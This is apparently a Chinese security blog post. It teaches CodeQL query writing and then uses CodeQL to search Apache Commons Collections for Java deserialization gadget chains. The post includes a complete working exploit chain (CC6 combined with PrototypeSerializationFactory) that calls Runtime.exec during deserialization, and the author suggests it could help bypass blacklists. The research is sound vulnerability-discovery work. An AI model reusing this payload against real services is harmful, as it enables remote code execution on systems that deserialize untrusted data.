细谈使用CodeQL进行反序列化链的挖掘过程
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前言
学习了一下CodeQL的各种使用方式,决定使用CodeQL细谈一下CC链挖掘,通过一步一步的朝着我们既定的目标进行靠近,最终成功的找到了一条鸡肋的二次反序列化的入口
(资料图片仅供参考)
前奏
CodeQL本身包含两部分解析引擎+SDK。
解析引擎用来解析我们编写的规则,虽然不开源,但是我们可以直接在官网下载二进制文件直接使用。
SDK完全开源,里面包含大部分现成的漏洞规则,我们也可以利用其编写自定义规则
安装
下载CodeQL执行程序
将SDK下载到同目录
cd ~/CodeQL&git clone https://github.com/Semmle/ql
之后将执行程序添加进入环境变量
然后再VScode中安装CodeQL插件,之后配置扩展,如果添加了环境变量就直接为空,没有添加就输入对应可执行文件的路径
简单使用
基本语法
类型
- 字符类型
String
存在类似于CharAt(0)的内置函数
- 整型与浮点型https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
- 日期型https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
- 布尔型
https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
从未被使用的参数
import javafrom Parameter pwhere not exists( p.getAnAccess() )select p
聚合使用
from Person twhere t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)select tselect max(Person p | | p order by p.getAge())min(Person p | p.getLocation() = "east" | p order by p.getHeight())count(Person p | p.getLocation() = "south" | p)avg(Person p | | p.getHeight())sum(Person p | p.getHairColor() = "brown" | p.getAge())
生成Database
Creating CodeQL databases — CodeQL (github.com)
codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/# 如何mvn编译报错使用 mvn compile -fn忽略错误
闭源构建数据库
闭源项目创建数据库,可以使用该工具:https://github.com/ice-doom/codeql_compile
- https://github.com/waderwu/extractor-java同样可以在windows中使用,将run.py中的codeql_home手工修改,而不是使用which命令得到路径
构建JDK
(34条消息) 编译OpenJDK8并生成CodeQL数据库_n0body-mole的博客-CSDN博客
导入Database
和SQL语言一样,我们执行QL查询,肯定是要先指定一个数据库才可以。
选中插件,之后配置生成的数据库
类库
名称 | 解释 |
---|---|
Method | 方法类,Method method表示获取当前项目中所有的方法 |
MethodAccess | 方法调用类,MethodAccess call表示获取当前项目当中的所有方法调用 |
Parameter | 参数类,Parameter表示获取当前项目当中所有的参数 |
简单使用
Method内置方法
method.getName() 获取的是当前方法的名称method.getDeclaringType() 获取的是当前方法所属class的名称。method.hasName() 判断是否有该方法 import javafrom Method methodwhere method.hasName("getStudent")select method.getName(), method.getDeclaringType()
谓词
predicate 表示当前方法没有返回值。exists子查询,是CodeQL谓词语法里非常常见的语法结构,它根据内部的子查询返回true or false,来决定筛选出哪些数据。 import javapredicate isStudent(Method method) {exists(|method.hasName("getStudent"))}from Method methodwhere isStudent(method)select method.getName(), method.getDeclaringType()//没有结果的谓词predicate isSmall(int i) { i in [1 .. 9]}//带有返回结果的谓词int getSuccessor(int i) { result = i + 1 and i in [1 .. 9]} //如果i是小于10的正整数,那么谓词的返回结果就是i后面的那个整数
设置Source Sink
什么是source和sink在代码自动化安全审计的理论当中,有一个最核心的三元组概念,就是(source,sink和sanitizer)。source是指漏洞污染链条的输入点。比如获取http请求的参数部分,就是非常明显的Source。sink是指漏洞污染链条的执行点,比如SQL注入漏洞,最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql,或者其它)。sanitizer又叫净化函数,是指在整个的漏洞链条当中,如果存在一个方法阻断了整个传递链,那么这个方法就叫sanitizer。
设置source
override predicate isSource(DataFlow::Node src) {}// 通用的source入口规则override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
设置Sink
override predicate isSink(DataFlow::Node sink) { }// 查找一个query()方法的调用点,并把它的第一个参数设置为sinkoverride predicate isSink(DataFlow::Node sink) {exists(Method method, MethodAccess call | method.hasName("query") and call.getMethod() = method and sink.asExpr() = call.getArgument(0))}
Flow数据流
连通工作就是CodeQL引擎本身来完成的。我们通过使用config.hasFlowPath(source, sink)
方法来判断是否连通。
from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sinkwhere config.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"//我们传递给config.hasFlowPath(source, sink)我们定义好的source和sink,系统就会自动帮我们判断是否存在漏洞了
命令行持续化使用规则
在编写了相应规则之后,就可以直接在命令行行中执行规则,检测其他项目
首先生成Database
之后通过我们编写的规则进行分析,输出为CSV文件
codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun
实例
使用jdbcTemplate.query
方法的SQL注入
import java import semmle.code.java.dataflow.FlowSourcesimport semmle.code.java.security.QueryInjectionimport DataFlow::PathGraphclass VulConfig extends TaintTracking::Configuration { VulConfig() { this = "SqlinjectionConfig" } override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } override predicate isSink(DataFlow::Node sink) { exists(Method method, MethodAccess call | method.hasName("query") and call.getMethod() = method and sink.asExpr() = call.getArgument(0)) }}from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sinkwhere vulconfig.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"
报错解决
如果存在Source
位置是List
类型的传参,这里是不可能存在SQL注入的我们可以使用TaintTracking::Configuration
提供的净化方法isSanitizer
override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType or node.getType() instanceof NumberType or exists(ParameterizedType pt | node.getType() = pt and pt.getTypeArgument(0) instanceof NumberType)}
复杂使用
instanceof优化查询结构
我们可以使用exists(|)这种子查询的方式定义source和sink,但是如果source/sink特别复杂(比如我们为了规则通用,可能要适配springboot, Thrift RPC,Servlet等source),如果我们把这些都在一个子查询内完成,比如 condition 1 or conditon 2 or condition 3, 这样一直下去,我们可能后面都看不懂了,更别说可维护性了。
instanceof给我们提供了一种机制,我们只需要定义一个abstract class
比如RemoteFlowSource抽象类的编写
/** A data flow source of remote user input. */abstract class RemoteFlowSource extends DataFlow::Node { /** Gets a string that describes the type of this remote flow source. */ abstract string getSourceType();}
CodeQL和Java不太一样,只要我们的子类继承了这个RemoteFlowSource类,那么所有子类就会被调用,它所代表的source也会被加载
存在非常多继承这个抽象类的子类,所以他们的结果会被and串联在一起
递归查询
CodeQL里面的递归调用语法是:在谓词方法的后面跟*或者+,来表示调用0次以上和1次以上(和正则类似),0次会打印自己
在Java语言里,我们可以使用class嵌套class,多个内嵌class的时候,我们需要知道最外层的class是什么怎么办?
非递归,知道嵌套的层数:
import javafrom Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType().getEnclosingType() // getEnclosingtype获取作用域
使用递归语法
from Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType+() // 获取作用域
代码分析平台CodeQL学习手记(七) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com
强制类型转换
import javafrom Parameter paramselect param, param.getType().(IntegralType) //筛选出getType方法符合后面了类型的结果
正文
这里主要是探讨由transform调用层面的挖掘
transform
我们通过codeql寻找transform方法的调用
class TransformCallable extends Callable { TransformCallable() { this.getName().matches("transform") and this.getNumberOfParameters() = 1 }}
可以看出来结果挺多的,之后我们人工排查一下
TransformedCollection
在TransformedCollection#transform的调用中存在可以调用其他transformer的transform方法的逻辑
没啥用,都已经可以调用任意transform了,还需要这一步吗?
ChainedTransformer
在ChainedTransformer#transform方法中存在iTransformers中的所有的transform的调用,这里也就是yoserial项目中的利用链****
CloneTransformer
在CloneTransformer#transform方法中存在, PrototypeFactory类实例化之后调用了create方法
我们跟进一下
代码中表示如果需要transformer的类存在clone方法,就会返回一个new PrototypeCloneFactory对象,之后调用他的create方法,如果没有就会进入catch语句,返回一个new InstantiateFactory对象,但是这里因为在其类中的create方法中参数不可控不能够利用
ClosureTransformer
在ClosureTransformer#transform方法中,存在Closure#execute方法的调用
Closure#execute
我们来查找一下有没有可用的实现了org.apache.commons.collections.Closure接口的类的execute调用
class ClosureCallable extends Callable { ClosureCallable() { this.getName().matches("execute") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") }}
我们一个一个来看下对应的execute方法
大概看了一下,发现不是this.iClosure.execute(input)调用就是this.iPredicate.evaluate(input)
只有一个TransformerClosure#execute方法中调用了transform,但是也不能形成利用链,最多算一个中转
ConstantTransformer
在ConstantTransformer#transform方法中,将会返回一个构造方法,同样在yoserial中有所利用
FactoryTransformer
在FactoryTransformer#transform方法中,调用了Factory接口的类的create方法查看一下满足条件的类把
Factory#create
class FactoryCallable extends Callable { FactoryCallable() { this.getName().matches("create") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") }}
进入看一看
InstantiateFactory
这里有一个InstantiateFactory类,好生熟悉,这不就是之前那篇文章中的CC链的挖掘,在其create方法中存在构造函数的实例化
例如已知的InstantiateFactory, 我们尝试挖掘一下
类似其中会调用TemplateImpl#newTransformer方法
/** * @kind path-problem */import javaclass ConstructCallable extends Callable { ConstructCallable() { this instanceof Constructor }}class MethodCallable extends Callable { MethodCallable() { this.getName().matches("newTransformer") and this.getDeclaringType().getName().matches("TemplatesImpl") }}query predicate edges(Callable a, Callable b) { a.polyCalls(b)}from MethodCallable endcall, ConstructCallable entrypointwhere edges+(entrypoint, endcall)select endcall, entrypoint, endcall, "find Contructor in jdk"
很合理我们得到了这个构造方法
虽然这里的iConstructor属性被transient修饰,但是在findConstructor中存在赋值
PrototypeSerializationFactory
之后有一个类为PrototypeSerializationFactory他是一个静态内部类
刚开始看的时候觉得这不纯纯一个二次反序列化的入口吗,直接跟进一下子代码
在其构造函数中有对iPrototype属性的赋值操作我们可以尝试直接将CC6拼接上去
import org.apache.commons.collections.Factory;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6_plus_plus { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ //仿照ysoserial中的写法,防止在本地调试的时候触发命令 Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(faketransformers); Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformerChain); //实例化 TiedMapEntry tme = new TiedMapEntry(outMap, "key"); Map expMap = new HashMap(); //将其作为key键传入 expMap.put(tme, "value"); //remove outMap.remove("key"); //传入利用链 Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); Class c; c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory"); Constructor constructor = c.getDeclaredConstructor(Serializable.class); constructor.setAccessible(true); Object o = constructor.newInstance(expMap); FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o); ConstantTransformer constantTransformer = new ConstantTransformer(1); Map innerMap1 = new HashMap(); LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer); TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey"); Map expMap1 = new HashMap(); expMap1.put(tme1, "valuevalue"); setFieldValue(outerMap1,"factory",factoryTransformer); outerMap1.remove("keykey"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }}
能够成功执行,好吧,感觉挺鸡肋的,但是应该可以结合其他依赖,作为其他反序列入口来打,或者作为一个黑名单绕过
PrototypeCloneFactory
之后又是一个PrototypeCloneFactory#create方法中
似乎可以任意方法的调用,但是我们注意到
其被transient修饰,且不像InstantiateFactory中存在赋值操作,但是我们同样可以注意到其在调用findCloneMethod方法中的时候,取出了对应类的clone方法,如果clone方法有可以利用的是不是就可以形成利用链
我们查找一下clone方法存在的类
import javaclass CloneCallable extends Callable{ CloneCallable() { this.getName().matches("clone") }}from CloneCallable cselect c,c.getBody(), c.getDeclaringType()
在BeanMap中,对应的clone方法中存在newInstance的调用且其beanClass可控,但是是无参构造方法,无法形成利用链
其他的调用我简单看了一下,没有什么特别的地方
最后一个是ReflectionFactory的调用,同样是无参构造方法
InstantiateTransformer
而对于InstantiateTransformer#transform方法中可以进行InvokerTransformer的替代使用,可以触发一些类的构造方法
比如说TrAXFilter
InvokerTransformer
接下来就是ysoserial中存在的InvokerTransformer#transform方法中可以反射调用可控的方法
PredicateTransformer
而又在PredicateTransformer#transform方法中存在Predicate
接口实现类的evaluate方法
Predicate#evaluate
浅看一下对应类
import javaclass PredicateCallable extends Callable { PredicateCallable() { this.getName().matches("evaluate") and this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") }}from PredicateCallable c select c, c.getBody(), c.getDeclaringType()
都是一些没有亮点的东西
SwitchTransformer
之后SwitchTransformer#transform方法中,存在有类似ChainedTransformer#transform的功能
但是需要满足this.iPredicates[i].evaluate(input)为true,而且似乎这里只能调用一次transform,不能形成链子,也没有了意义
总结
链子没有挖出来什么比较新的链子,有一个比较鸡肋的二次反序列化的链子,但是主要还是体会这种使用静态分析工具辅助自己进行挖掘新链,这次主要是在CC链中进行transformer层面的深度挖掘,当然还可以在动态代理等等方面进行深层次的探索,又或者以来其他依赖库结合进行挖掘利用的方式也是可行的
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